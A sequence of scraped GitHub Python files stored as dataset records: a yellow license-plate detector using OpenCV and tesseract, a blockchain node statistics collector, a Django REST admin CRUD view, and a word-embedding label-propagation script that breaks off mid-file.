the region bounded by *points* and project it to *target_size*.\n\n *points* should be a 4-tuple of Point2D instances.\n \"\"\"\n # First, bring the points in the right order for projection.\n tmp = order_polygon(points)\n origin_points = [\n tmp[0],\n tmp[3],\n tmp[1],\n tmp[2],\n ]\n origin_points = np.float32(origin_points)\n destination_points = np.float32([\n [0, 0],\n [target_size.width, 0],\n [0, target_size.height],\n [target_size.width, target_size.height]\n ])\n transformation = cv2.getPerspectiveTransform(\n origin_points, destination_points)\n output = cv2.warpPerspective(\n img,\n transformation,\n (target_size.width, target_size.height))\n return output\n\n\ndef get_license_plates(img):\n '''\n Returns a license plate from an image.\n\n Looks for yellow, rectangular regions in the image and returns them via a\n generator.\n '''\n\n # boundaries for the color yellow. All values seem to range from 0 to 255 so\n # they must be converted from a 0 to 360 and 0 to 1 scale to a 0 to 255\n # scale. The docs of openCV mention the values range from 0 to 1, but that\n # does not seem to be the case. Either way, by inspecting the output of the\n # values I am confident that the values range from 0 to 255 (even the hue).\n boundaries_hsv = [\n np.array(((10/360)*255, 0.8*255, 0.6*255), dtype='uint8'),\n np.array(((80/360)*255, 255, 250), dtype='uint8'),\n ]\n\n clean = img.copy()\n img = cv2.GaussianBlur(img, (11, 11), 0)\n\n # Mask everything that is not \"yellow\"\n hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n mask = cv2.inRange(hsv, boundaries_hsv[0], boundaries_hsv[1])\n masked = cv2.bitwise_and(img, img, mask=mask)\n\n # Find contours\n gray = cv2.cvtColor(masked, cv2.COLOR_BGR2GRAY)\n _, contours, _ = cv2.findContours(\n gray,\n cv2.RETR_EXTERNAL,\n cv2.CHAIN_APPROX_SIMPLE)\n\n # Find contours with 4 vertices\n for contour in contours:\n area = cv2.contourArea(contour)\n if area < 10:\n continue\n peri = cv2.arcLength(contour, True)\n approx = cv2.approxPolyDP(contour, 0.02 * peri, True)\n\n # if the approximated contour has four points, then assume that the\n # contour is a book -- a book is a rectangle and thus has four vertices\n if len(approx) == 4:\n points = [\n Point2D(approx[0][0][0], approx[0][0][1]),\n Point2D(approx[1][0][0], approx[1][0][1]),\n Point2D(approx[2][0][0], approx[2][0][1]),\n Point2D(approx[3][0][0], approx[3][0][1]),\n ]\n yield project_2d(clean, points)\n\n\ndef plate_ocr(img) -> str:\n '''\n Takes an image and runs OCR via tesseract. Returns a string if a text\n matching the template \"XX 1234\" has been found. Otherwise will return an\n empty string.\n '''\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n img = Image.fromarray(gray)\n text = pytesseract.image_to_string(img)\n matches = P_PLATE.findall(text.upper())\n if matches:\n return matches[0]\n return ''\n", "repo_name": "exhuma/raspicam", "sub_path": "raspicam/licenseplate/lu.py", "file_name": "lu.py", "file_ext": "py", "file_size_in_byte": 4198, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "re.compile", "line_number": 21, "usage_type": "call"}, {"api_name": "raspicam.localtypes.Point2D", "line_number": 29, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 29, "usage_type": "call"}, {"api_name": "math.atan2", "line_number": 30, "usage_type": "call"}, {"api_name": "raspicam.localtypes.Dimension", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.getPerspectiveTransform", "line_number": 57, "usage_type": "call"}, {"api_name": "cv2.warpPerspective", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 81, "usage_type": "call"}, {"api_name": "cv2.GaussianBlur", "line_number": 85, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 88, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 88, "usage_type": "attribute"}, {"api_name": "cv2.inRange", "line_number": 89, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 90, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 93, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 93, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 94, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 96, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 97, "usage_type": "attribute"}, {"api_name": "cv2.contourArea", "line_number": 101, "usage_type": "call"}, {"api_name": "cv2.arcLength", "line_number": 104, "usage_type": "call"}, {"api_name": "cv2.approxPolyDP", "line_number": 105, "usage_type": "call"}, {"api_name": "raspicam.localtypes.Point2D", "line_number": 111, "usage_type": "call"}, {"api_name": "raspicam.localtypes.Point2D", "line_number": 112, "usage_type": "call"}, {"api_name": "raspicam.localtypes.Point2D", "line_number": 113, "usage_type": "call"}, {"api_name": "raspicam.localtypes.Point2D", "line_number": 114, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 125, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 125, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 126, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 126, "usage_type": "name"}, {"api_name": "pytesseract.image_to_string", "line_number": 127, "usage_type": "call"}]} {"seq_id": "74492593504", "text": "import logging\nfrom bitcoin.rpc import JSONRPCError\nimport utils\nfrom simulationfiles import consensus\nimport config\nimport parse\n\nclass CliStats:\n def __init__(self, context, writer):\n self._context = context\n self._writer = writer\n\n def execute(self):\n _persist_consensus_chain(self._calc_consensus_chain())\n self._persist_node_stats()\n #logging.info('TRIGGER: EXEC')\n logging.info('stats')\n\n def _calc_consensus_chain(self):\n #print(\"TRIGGER: Consensus calculation\")\n height = self._context.first_block_height\n nodes = self._context.nodes.values()\n #print(height, nodes)\n consensus_chain = []\n logging.info('Consensus chain starting at {}'.format(height))\n while True:\n block_hashes = {}\n failing_nodes = []\n block_hash = None\n for node in nodes:\n try:\n diff = consensus.calc_difficulty(block_hash, height, parse.TickEvent)\n block_hash = node.execute_rpc('getblockhash', height)\n temp_diff = node.excecute_rpc('getdifficulty', diff)\n #print(temp_diff)\n # For each node we query itself to know the hash\n if block_hash in block_hashes:\n block_hashes[block_hash].append(node.name)\n else:\n block_hashes[block_hash] = [node.name]\n except JSONRPCError:\n failing_nodes.append(node.name) #drops\n if len(failing_nodes) > 0:\n logging.info('Chain at {} because nodes={}'\n ' see now more'.format(height, failing_nodes))\n break\n elif len(block_hashes) > 1:\n logging.info('Non-Consensus {} because'\n ' nodes have different blocks ({})'.format(height, block_hashes))\n break\n else:\n consensus_chain.append(block_hash)\n height += 1\n\n logging.info('Added block {} to consensus chain'.format(block_hash))\n\n return consensus_chain\n\n def _persist_node_stats(self):\n # For danglers\n tips = []\n for node in self._context.nodes.values():\n tips.extend([Tip.from_dict(node.name, chain_tip) for chain_tip in node.execute_rpc('getchaintips')])\n\n self._writer.write_csv(Tip.file_name, Tip.csv_header, tips)\n logging.info('Collected and persisted {} tips'.format(len(tips)))\n\n\ndef _persist_consensus_chain(chain):\n # Avoid overwrites\n with open(config.consensus_chain_csv, 'w') as file:\n file.write('hash\\n')\n file.writelines('\\n'.join(chain))\n file.write('\\n')\n\n\nclass Tip:\n __slots__ = ['_node', '_status', '_forklen']\n\n csv_header = ['node', 'status', 'forklen']\n file_name = 'fork.csv'\n\n def __init__(self, node, status, forklen):\n self._node = node\n self._status = status\n self._branchlen = forklen\n\n @classmethod\n def from_dict(cls, node, chain_tip):\n return cls(node, chain_tip['status'], chain_tip['forklen'])\n\n def vars_to_array(self):\n return [self._node, self._status, self._forklen]\n", "repo_name": "Deadlyelder/BlockPerf", "sub_path": "clistats.py", "file_name": "clistats.py", "file_ext": "py", "file_size_in_byte": 3273, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.info", "line_number": 17, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 25, "usage_type": "call"}, {"api_name": "simulationfiles.consensus.calc_difficulty", "line_number": 32, "usage_type": "call"}, {"api_name": "simulationfiles.consensus", "line_number": 32, "usage_type": "name"}, {"api_name": "parse.TickEvent", "line_number": 32, "usage_type": "attribute"}, {"api_name": "bitcoin.rpc.JSONRPCError", "line_number": 41, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 44, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 48, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 55, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 66, "usage_type": "call"}, {"api_name": "config.consensus_chain_csv", "line_number": 71, "usage_type": "attribute"}]} {"seq_id": "29174130457", "text": "from rest_framework import mixins\nfrom rest_framework.generics import GenericAPIView\nfrom rest_framework.viewsets import GenericViewSet\nfrom ..serializer.superadmin import User_serializer\nfrom utility.util import Is_Superadmin,transform_list\nfrom utility.response import ApiResponse\nfrom utility.constant import *\nfrom ..models import Users\nfrom rest_framework.permissions import IsAuthenticated\nfrom oauth2_provider.contrib.rest_framework import OAuth2Authentication\n\nclass Admin_view(GenericViewSet,mixins.ListModelMixin,\n\t\t\t\tmixins.RetrieveModelMixin,\n\t\t\t\tmixins.CreateModelMixin,\n\t\t\t\tmixins.UpdateModelMixin,ApiResponse):\n\n\tauthentication_classes = [OAuth2Authentication]\n\tpermission_classes = [IsAuthenticated,Is_Superadmin]\n\tserializer_class= User_serializer\n\tdef get_object(self,pk):\n\t\ttry:\n\t\t\tprint(\"Get_Object\",pk)\n\t\t\treturn Users.objects.get(pk=pk)\n\t\texcept:\n\t\t\treturn None\n\n\tdef retrieve(self,request,**kwargs):\n\t\ttry:\n\t\t\tprint(\"retrieve\")\n\t\t\tget_id=self.kwargs.get('id')\n\n\t\t\tinstance=self.get_object(get_id)\n\n\t\t\tif instance is None:\n\t\t\t\treturn ApiResponse.response_bad_request(self,message=\"admin not found\")\n\n\t\t\tresp_dict=self.transform_single(instance)\n\t\t\treturn ApiResponse.response_ok(self,data=resp_dict)\n\t\texcept Exception as e:\n\t\t\treturn ApiResponse.response_internal_server_error(self,message=[str(e.args)])\n\n\n\tdef post(self,request,*args,**kwargs):\n\t\ttry:\n\t\t\tdata=request.data\n\t\t\tserializer=User_serializer(data=data)\n\t\t\tprint(\"serializer==\",serializer)\n\t\t\tif serializer.is_valid():\n\t\t\t\tprint(\"Inside seralizer\")\n\t\t\t\tserializer.save()\n\t\t\t\tprint(\"Done save\")\n\n\t\t\t\tuser_instance=serializer.instance\n\t\t\t\tuser_instance.set_password(data.get('password'))\n\t\t\t\tuser_instance.save()\n\t\t\t\tresp_data=serializer.data\n\t\t\t\treturn ApiResponse.response_created(self,data=resp_data,message=\"admin created\")\n\t\t\tser_error=\"Serializer_error\"\n\n\t\t\treturn ApiResponse.response_bad_request(self,message=ser_error)\n\n\t\texcept Exception as e:\n\t\t\treturn ApiResponse.response_internal_server_error(self,message=[str(e.args)])\n\n\tdef list(self,request,*args,**kwargs):\n\n\t\ttry:\n\t\t\t\n\t\t\tdata=Users.objects.filter(role=ADMIN)\n\n\t\t\tresp_data=data\n\t\t\t\n\t\t\tresponse_data=transform_list(self,resp_data)\n\t\t\treturn ApiResponse.response_ok(self,data=response_data)\n\n\t\texcept Exception as e:\n\t\t\treturn ApiResponse.response_internal_server_error(self,message=[str(e.args)])\n\n\n\tdef update(self,request,*args,**kwargs):\n\n\t\ttry:\n\n\t\t\tdata=request.data\n\t\t\tget_id=self.kwargs.get('id')\n\t\t\tprint(\"id==\",get_id)\n\t\t\tinstance =self.get_object(get_id)\n\n\t\t\tif instance is None:\n\t\t\t\treturn ApiResponse.response_not_found(self,message='admin not found')\n\n\t\t\tserializer=User_serializer(instance,data=data,partial=True)\n\t\t\tif serializer.is_valid():\n\t\t\t\tserializer.save()\n\n\t\t\t\tresponse_data=serializer.data\n\t\t\t\treturn ApiResponse.response_ok(self,data=response_data,message='admin successfully updated')\n\n\t\t\tser_error=\"serializer_error\"\n\t\t\treturn ApiResponse.response_bad_request(self,message=ser_error)\n\n\n\t\texcept Exception as e:\n\t\t\treturn ApiResponse.response_internal_server_error(self,message=[str(e.args)])\n\n\n\tdef delete(self,request,*args,**kwargs):\n\n\t\ttry:\n\t\t\tget_id=self.kwargs.get('id')\n\t\t\tinstance = self.get_object(get_id)\n\n\t\t\tif instance is None:\n\t\t\t\treturn ApiResponse.response_bad_request(self,message=\"admin not found\")\n\t\t\tinstance.is_deleted=True\n\t\t\tinstance.save()\n\t\t\treturn ApiResponse.response_ok(self,message=\"admin successfully deleted\")\n\n\t\texcept Exception as e:\n\t\t\treturn ApiResponse.response_internal_server_error(self,message=[str(e.args)])\n\n\n\tdef transform_single(self, instance):\n\t resp_dict = dict()\n\t resp_dict['id'] = instance.id\n\t resp_dict['first_name'] = instance.first_name\n\t resp_dict['last_name'] = instance.last_name\n\t resp_dict['email'] = instance.email\n\t resp_dict['is_staff'] = instance.is_staff\n\t \n\t resp_dict['is_active'] = instance.is_active\n\t resp_dict['role'] = instance.role_id\n\t \n\t return resp_dict\n\t\t\t\n\n\n\n\n\n\n\n\n\n", "repo_name": "RushikeshRaut-maker/trigensoft_crudtask", "sub_path": "task_app/views/admin_view.py", "file_name": "admin_view.py", "file_ext": "py", "file_size_in_byte": 3950, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "rest_framework.viewsets.GenericViewSet", "line_number": 12, "usage_type": "name"}, {"api_name": "rest_framework.mixins.ListModelMixin", "line_number": 12, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 12, "usage_type": "name"}, {"api_name": "rest_framework.mixins.RetrieveModelMixin", "line_number": 13, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 13, "usage_type": "name"}, {"api_name": "rest_framework.mixins.CreateModelMixin", "line_number": 14, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 14, "usage_type": "name"}, {"api_name": "rest_framework.mixins.UpdateModelMixin", "line_number": 15, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 15, "usage_type": "name"}, {"api_name": "utility.response.ApiResponse", "line_number": 15, "usage_type": "name"}, {"api_name": "oauth2_provider.contrib.rest_framework.OAuth2Authentication", "line_number": 17, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 18, "usage_type": "name"}, {"api_name": "utility.util.Is_Superadmin", "line_number": 18, "usage_type": "name"}, {"api_name": "serializer.superadmin.User_serializer", "line_number": 19, "usage_type": "name"}, {"api_name": "models.Users.objects.get", "line_number": 23, "usage_type": "call"}, {"api_name": "models.Users.objects", "line_number": 23, "usage_type": "attribute"}, {"api_name": "models.Users", "line_number": 23, "usage_type": "name"}, {"api_name": "utility.response.ApiResponse.response_bad_request", "line_number": 35, "usage_type": "call"}, {"api_name": "utility.response.ApiResponse", "line_number": 35, "usage_type": "name"}, {"api_name": "utility.response.ApiResponse.response_ok", "line_number": 38, "usage_type": "call"}, {"api_name": "utility.response.ApiResponse", "line_number": 38, "usage_type": "name"}, {"api_name": "utility.response.ApiResponse.response_internal_server_error", "line_number": 40, "usage_type": "call"}, {"api_name": "utility.response.ApiResponse", "line_number": 40, "usage_type": "name"}, {"api_name": "serializer.superadmin", "line_number": 46, "usage_type": "name"}, {"api_name": "serializer.superadmin.User_serializer", "line_number": 46, "usage_type": "call"}, {"api_name": "serializer.superadmin", "line_number": 47, "usage_type": "argument"}, {"api_name": "serializer.superadmin.is_valid", "line_number": 48, "usage_type": "call"}, {"api_name": "serializer.superadmin", "line_number": 48, "usage_type": "name"}, {"api_name": "serializer.superadmin.save", "line_number": 50, "usage_type": "call"}, {"api_name": "serializer.superadmin", "line_number": 50, "usage_type": "name"}, {"api_name": "serializer.superadmin.instance", "line_number": 53, "usage_type": "attribute"}, {"api_name": "serializer.superadmin", "line_number": 53, "usage_type": "name"}, {"api_name": "serializer.superadmin.data", "line_number": 56, "usage_type": "attribute"}, {"api_name": "serializer.superadmin", "line_number": 56, "usage_type": "name"}, {"api_name": "utility.response.ApiResponse.response_created", "line_number": 57, "usage_type": "call"}, {"api_name": "utility.response.ApiResponse", "line_number": 57, "usage_type": "name"}, {"api_name": "utility.response.ApiResponse.response_bad_request", "line_number": 60, "usage_type": "call"}, {"api_name": "utility.response.ApiResponse", "line_number": 60, "usage_type": "name"}, {"api_name": "utility.response.ApiResponse.response_internal_server_error", "line_number": 63, "usage_type": "call"}, {"api_name": "utility.response.ApiResponse", "line_number": 63, "usage_type": "name"}, {"api_name": "models.Users.objects.filter", "line_number": 69, "usage_type": "call"}, {"api_name": "models.Users.objects", "line_number": 69, "usage_type": "attribute"}, {"api_name": "models.Users", "line_number": 69, "usage_type": "name"}, {"api_name": "utility.util.transform_list", "line_number": 73, "usage_type": "call"}, {"api_name": "utility.response.ApiResponse.response_ok", "line_number": 74, "usage_type": "call"}, {"api_name": "utility.response.ApiResponse", "line_number": 74, "usage_type": "name"}, {"api_name": "utility.response.ApiResponse.response_internal_server_error", "line_number": 77, "usage_type": "call"}, {"api_name": "utility.response.ApiResponse", "line_number": 77, "usage_type": "name"}, {"api_name": "utility.response.ApiResponse.response_not_found", "line_number": 90, "usage_type": "call"}, {"api_name": "utility.response.ApiResponse", "line_number": 90, "usage_type": "name"}, {"api_name": "serializer.superadmin", "line_number": 92, "usage_type": "name"}, {"api_name": "serializer.superadmin.User_serializer", "line_number": 92, "usage_type": "call"}, {"api_name": "serializer.superadmin.is_valid", "line_number": 93, "usage_type": "call"}, {"api_name": "serializer.superadmin", "line_number": 93, "usage_type": "name"}, {"api_name": "serializer.superadmin.save", "line_number": 94, "usage_type": "call"}, {"api_name": "serializer.superadmin", "line_number": 94, "usage_type": "name"}, {"api_name": "serializer.superadmin.data", "line_number": 96, "usage_type": "attribute"}, {"api_name": "serializer.superadmin", "line_number": 96, "usage_type": "name"}, {"api_name": "utility.response.ApiResponse.response_ok", "line_number": 97, "usage_type": "call"}, {"api_name": "utility.response.ApiResponse", "line_number": 97, "usage_type": "name"}, {"api_name": "utility.response.ApiResponse.response_bad_request", "line_number": 100, "usage_type": "call"}, {"api_name": "utility.response.ApiResponse", "line_number": 100, "usage_type": "name"}, {"api_name": "utility.response.ApiResponse.response_internal_server_error", "line_number": 104, "usage_type": "call"}, {"api_name": "utility.response.ApiResponse", "line_number": 104, "usage_type": "name"}, {"api_name": "utility.response.ApiResponse.response_bad_request", "line_number": 114, "usage_type": "call"}, {"api_name": "utility.response.ApiResponse", "line_number": 114, "usage_type": "name"}, {"api_name": "utility.response.ApiResponse.response_ok", "line_number": 117, "usage_type": "call"}, {"api_name": "utility.response.ApiResponse", "line_number": 117, "usage_type": "name"}, {"api_name": "utility.response.ApiResponse.response_internal_server_error", "line_number": 120, "usage_type": "call"}, {"api_name": "utility.response.ApiResponse", "line_number": 120, "usage_type": "name"}]} {"seq_id": "71419994491", "text": "import json\nimport os\nimport argparse\nimport numpy as np\nimport time\nimport csv\nimport random\nfrom labels import LabelSpace\nfrom labels import Configs\nfrom scipy import spatial\nfrom gensim.models import KeyedVectors\nfrom gensim.models.word2vec import Word2Vec\nfrom scipy.stats.stats import pearsonr\nfrom sample_seeds import __norm2uni, __uni2norm, get_rand_seeds\n\n\nword_dataset_base = '../result/epa_expansion/graph'\nos.makedirs(word_dataset_base, exist_ok=True)\n\n\ndef load_google_word_vectors(model_path):\n word_vectors = KeyedVectors.load_word2vec_format(model_path, binary=True)\n return word_vectors\n\n\ndef load_github_word_vectors(model_path):\n github_model = Word2Vec.load(model_path)\n return github_model\n\n\ndef log_json(path, arr):\n with open(path, 'w') as fp:\n json.dump(arr, fp)\n\n\ndef log_np(path, arr):\n np.save(path, arr)\n\n# def log_data(token_words, comparing_words, seed_words, eval_words, token_label, eval_label, weight_matrix):\n# os.makedirs(word_dataset_base, exist_ok=True)\n# log_json(os.path.join(word_dataset_base, 'token'), token_words)\n# log_json(os.path.join(word_dataset_base, 'compare'), comparing_words)\n# log_json(os.path.join(word_dataset_base, 'seed'), seed_words)\n# log_json(os.path.join(word_dataset_base, 'eval'), eval_words)\n# log_np(os.path.join(word_dataset_base, 'token_label'), token_label)\n# log_np(os.path.join(word_dataset_base, 'eval_label'), eval_label)\n# log_np(os.path.join(word_dataset_base, 'matrix'), weight_matrix)\n#\n#\n# def reload_data():\n# with open(os.path.join(word_dataset_base, 'token'), 'r') as fp:\n# token_words = json.load(fp)\n# with open(os.path.join(word_dataset_base, 'compare'), 'r') as fp:\n# compare_words = json.load(fp)\n# with open(os.path.join(word_dataset_base, 'seed'), 'r') as fp:\n# seed_words = json.load(fp)\n# with open(os.path.join(word_dataset_base, 'eval'), 'r') as fp:\n# eval_words = json.load(fp)\n# token_label = np.load(os.path.join(word_dataset_base, 'token_label.npy'))\n# eval_label = np.load(os.path.join(word_dataset_base, 'eval_label.npy'))\n# weight_matrix = np.load(os.path.join(word_dataset_base, 'matrix.npy'))\n# return token_words, compare_words, seed_words, eval_words, token_label, eval_label, weight_matrix\n\n\ndef get_github_distance(w1, wlist, wvocab):\n distance_list = []\n# for w2 in wlist:\n# distance_list.append(1 - spatial.distance.cosine(w1, wvocab[w2]))\n# return distance_list\n w2 = np.array([wvocab[w] for w in wlist])\n norm = np.linalg.norm(w1)\n all_norms = np.linalg.norm(w2, axis=1)\n dot_products = np.dot(w2, w1)\n distances = 1 - dot_products / (norm * all_norms)\n return distances\n\n\ndef generate():\n # seed_words and eval_words as dictionary of word:epa\n (seed_words, eval_words) = get_rand_seeds(Configs.seed, Configs.eval, Configs.epa)\n\n token_words = set(list(seed_words.keys()) + list(eval_words.keys()))\n\n # append wikitext words to enlarge the network size\n with open('../result/epa_expansion/wikitext-wordlist', 'r') as fp:\n corpus_words = set(json.load(fp))\n token_words.update(corpus_words)\n\n # use trained model to calculate distance\n google_news_model_path = '../models/embedding/GoogleNews-vectors-negative300.bin'\n google_news_model = load_google_word_vectors(google_news_model_path)\n # use token word in the wv space\n all_token_words = set(google_news_model.vocab.keys())\n token_words = list(token_words & all_token_words)\n token_num = len(token_words)\n\n # training matrix\n train_label = np.zeros((token_num, LabelSpace.Dimension), dtype=np.double)\n # eval matrix\n eval_label = np.array(train_label)\n\n # update label info\n seeds_in_token, eval_in_token = 0, 0\n for ind in range(0, token_num):\n word = token_words[ind]\n if word in seed_words.keys():\n train_label[ind] = seed_words[word]\n seeds_in_token += 1\n if word in eval_words.keys():\n eval_label[ind] = eval_words[word]\n eval_in_token += 1\n\n print('%s/%s seeds in token words' % (seeds_in_token, Configs.seed))\n print('%s/%s eval in token words' % (eval_in_token, Configs.eval))\n print('token number %s' % token_num)\n\n start_time = time.time()\n # update weight info\n weight_matrix = np.zeros((token_num, token_num), dtype=np.double)\n for ind in range(0, token_num - 1):\n # fully connected graph\n # weight between nodes positive\n # distance = 1 - cosine-dis\n distance_matrix = google_news_model.distances(token_words[ind], token_words[ind + 1: token_num])\n weight_matrix[ind, ind + 1: token_num] = distance_matrix\n del google_news_model\n\n print('time cost %s' % (time.time() - start_time))\n\n file_path = os.path.join(word_dataset_base, 'seed_%s_eval_%s_epa_%s' % (Configs.seed, Configs.eval, Configs.epa))\n os.makedirs(file_path, exist_ok=True)\n\n log_json(os.path.join(file_path, 'token'), token_words)\n log_json(os.path.join(file_path, 'seed'), seed_words)\n log_json(os.path.join(file_path, 'eval'), eval_words)\n log_np(os.path.join(file_path, 'train_label'), train_label)\n log_np(os.path.join(file_path, 'eval_label'), eval_label)\n log_np(os.path.join(file_path, 'matrix'), weight_matrix)\n\n\ndef generate2():\n github_label = {}\n with open('../data/GitHub_Aggregated.csv') as fp:\n reader = csv.DictReader(fp)\n for row in reader:\n concept = row['Concept']\n e, p, a = float(row['Evaluation_mean']), float(row['Potency_mean']), float(row['Activity_mean'])\n github_label[concept] = [round(d, 3) for d in [e, p, a]]\n word_seeds = list(github_label.keys())\n word_seeds_train = random.sample(word_seeds, int(0.7 * len(word_seeds)))\n words_seeds_test = [w for w in word_seeds if w not in word_seeds_train]\n seed_words = {k: github_label[k] for k in word_seeds_train}\n eval_words = {k: github_label[k] for k in words_seeds_test}\n\n Configs.seed = len(word_seeds_train)\n Configs.eval = len(words_seeds_test)\n\n token_words = set(list(seed_words.keys()) + list(eval_words.keys()))\n\n # append wikitext words to enlarge the network size\n with open('../result/epa_expansion/wikitext-wordlist', 'r') as fp:\n corpus_words = set(json.load(fp))\n token_words.update(corpus_words)\n\n # use trained model to calculate distance\n github_model_path = '../models/embedding/github_aligned/word2vec_sg_0_size_300_mincount_5'\n github_model = load_github_word_vectors(github_model_path)\n all_token_words = set(github_model.wv.vocab.keys())\n token_words = list(token_words & all_token_words)\n token_num = len(token_words)\n\n # training matrix\n train_label = np.zeros((token_num, LabelSpace.Dimension), dtype=np.double)\n # eval matrix\n eval_label = np.array(train_label)\n\n # update label info\n seeds_in_token, eval_in_token = 0, 0\n for ind in range(0, token_num):\n word = token_words[ind]\n if word in seed_words.keys():\n train_label[ind] = seed_words[word]\n seeds_in_token += 1\n if word in eval_words.keys():\n eval_label[ind] = eval_words[word]\n eval_in_token += 1\n\n print('%s/%s seeds in token words' % (seeds_in_token, Configs.seed))\n print('%s/%s eval in token words' % (eval_in_token, Configs.eval))\n print('token number %s' % token_num)\n\n start_time = time.time()\n # update weight info\n weight_matrix = np.zeros((token_num, token_num), dtype=np.double)\n for ind in range(0, token_num - 1):\n # fully connected graph\n # weight between nodes positive\n # distance = 1 - cosine-dis\n distance_matrix = github_model.wv.distances(token_words[ind], token_words[ind + 1: token_num])\n weight_matrix[ind, ind + 1: token_num] = distance_matrix\n del github_model\n\n print('time cost %s' % (time.time() - start_time))\n\n file_path = os.path.join(word_dataset_base, 'github_seed_%s_eval_%s_epa_%s' % (Configs.seed, Configs.eval, Configs.epa))\n os.makedirs(file_path, exist_ok=True)\n\n log_json(os.path.join(file_path, 'token'), token_words)\n log_json(os.path.join(file_path, 'seed'), seed_words)\n log_json(os.path.join(file_path, 'eval'), eval_words)\n log_np(os.path.join(file_path, 'train_label'), train_label)\n log_np(os.path.join(file_path, 'eval_label'), eval_label)\n log_np(os.path.join(file_path, 'matrix'), weight_matrix)\n\n\ndef generate_github():\n aligned_github_model_path = '../models/embedding/github_aligned/word2vec_sg_0_size_300_mincount_5'\n github_model = load_github_word_vectors(aligned_github_model_path)\n github_token_words = list(github_model.wv.vocab.keys())\n github_token_num = len(github_token_words)\n\n start_time = time.time()\n # update weight info\n github_weight_matrix = np.zeros((github_token_num, github_token_num), dtype=np.double)\n for ind in range(0, github_token_num - 1):\n distance_matrix = github_model.wv.distances(github_token_words[ind], github_token_words[ind + 1: github_token_num])\n github_weight_matrix[ind, ind + 1: github_token_num] = distance_matrix\n print('time cost %s' % (time.time() - start_time))\n del github_model\n\n log_json(os.path.join(word_dataset_base, 'gh_token'), github_token_words)\n log_np(os.path.join(word_dataset_base, 'gh_matrix'), github_weight_matrix)\n\n\ndef train():\n print('start training')\n\n file_path = os.path.join(word_dataset_base, 'github_seed_%s_eval_%s_epa_%s' % (Configs.seed, Configs.eval, Configs.epa))\n with open(os.path.join(file_path, 'token'), 'r') as fp:\n token_words = json.load(fp)\n train_label = np.load(os.path.join(file_path, 'train_label.npy'))\n eval_label = np.load(os.path.join(file_path, 'eval_label.npy'))\n weight_matrix = np.load(os.path.join(file_path, 'matrix.npy'))\n\n train_label_mask = np.any(train_label, axis=1)\n eval_label_mask = np.any(eval_label, axis=1)\n\n # uniform labels\n if Configs.uni:\n train_label[train_label_mask] = __norm2uni(train_label[train_label_mask])\n eval_label[eval_label_mask] = __norm2uni(eval_label[eval_label_mask])\n\n token_num = len(token_words)\n\n print('calculate matrix')\n weight_matrix = weight_matrix + np.transpose(weight_matrix)\n weight_matrix_mask = weight_matrix < Configs.enn\n np.fill_diagonal(weight_matrix_mask, False)\n weight_matrix = np.exp(weight_matrix * -Configs.exp) * weight_matrix_mask\n degree_matrix = np.sum(weight_matrix, axis=1)\n inverse_degree_matrix = np.divide(1, degree_matrix, where=degree_matrix != 0)\n laplacian_matrix = weight_matrix * np.reshape(inverse_degree_matrix, (token_num, 1))\n # save lap mat to local\n np.save(os.path.join(word_dataset_base, 'lap'), laplacian_matrix)\n\n print('generate eval mat')\n label_mask = np.array(train_label_mask)\n label_mask_inv = np.logical_not(label_mask)\n label_mask_all = (1 - Configs.alpha) * label_mask + label_mask_inv\n\n def log_item(it, pred, eval):\n return {\n 'it': it,\n 'mae': np.mean(np.abs(pred - eval), axis=0).tolist(),\n 'rsme': np.sqrt(np.mean((pred - eval) ** 2, axis=0)).tolist(),\n 'corr': [pearsonr(pred[:, 0], eval[:, 0]),\n pearsonr(pred[:, 1], eval[:, 1]),\n pearsonr(pred[:, 2], eval[:, 2])\n ]\n }\n\n # logging_info = list()\n # logging_info.append(log_item(-1, eval_label[eval_label_mask], train_label[eval_label_mask]))\n\n original_train_label = np.array(train_label)\n\n for it in range(0, Configs.iterations):\n if it % 5 == 0:\n print('round %s/%s' % (it, Configs.iterations))\n transient_token_label = np.matmul(laplacian_matrix, train_label)\n train_label = transient_token_label * np.reshape(label_mask_all, (token_num, 1)) + \\\n Configs.alpha * original_train_label * np.reshape(label_mask, (token_num, 1))\n # logging_info.append(log_item(it, eval_label[eval_label_mask], train_label[eval_label_mask]))\n\n if Configs.uni:\n train_label_mask_new = np.any(train_label, axis=1)\n train_label[train_label_mask_new] = __uni2norm(train_label[train_label_mask_new])\n eval_label[eval_label_mask] = __uni2norm(eval_label[eval_label_mask])\n # 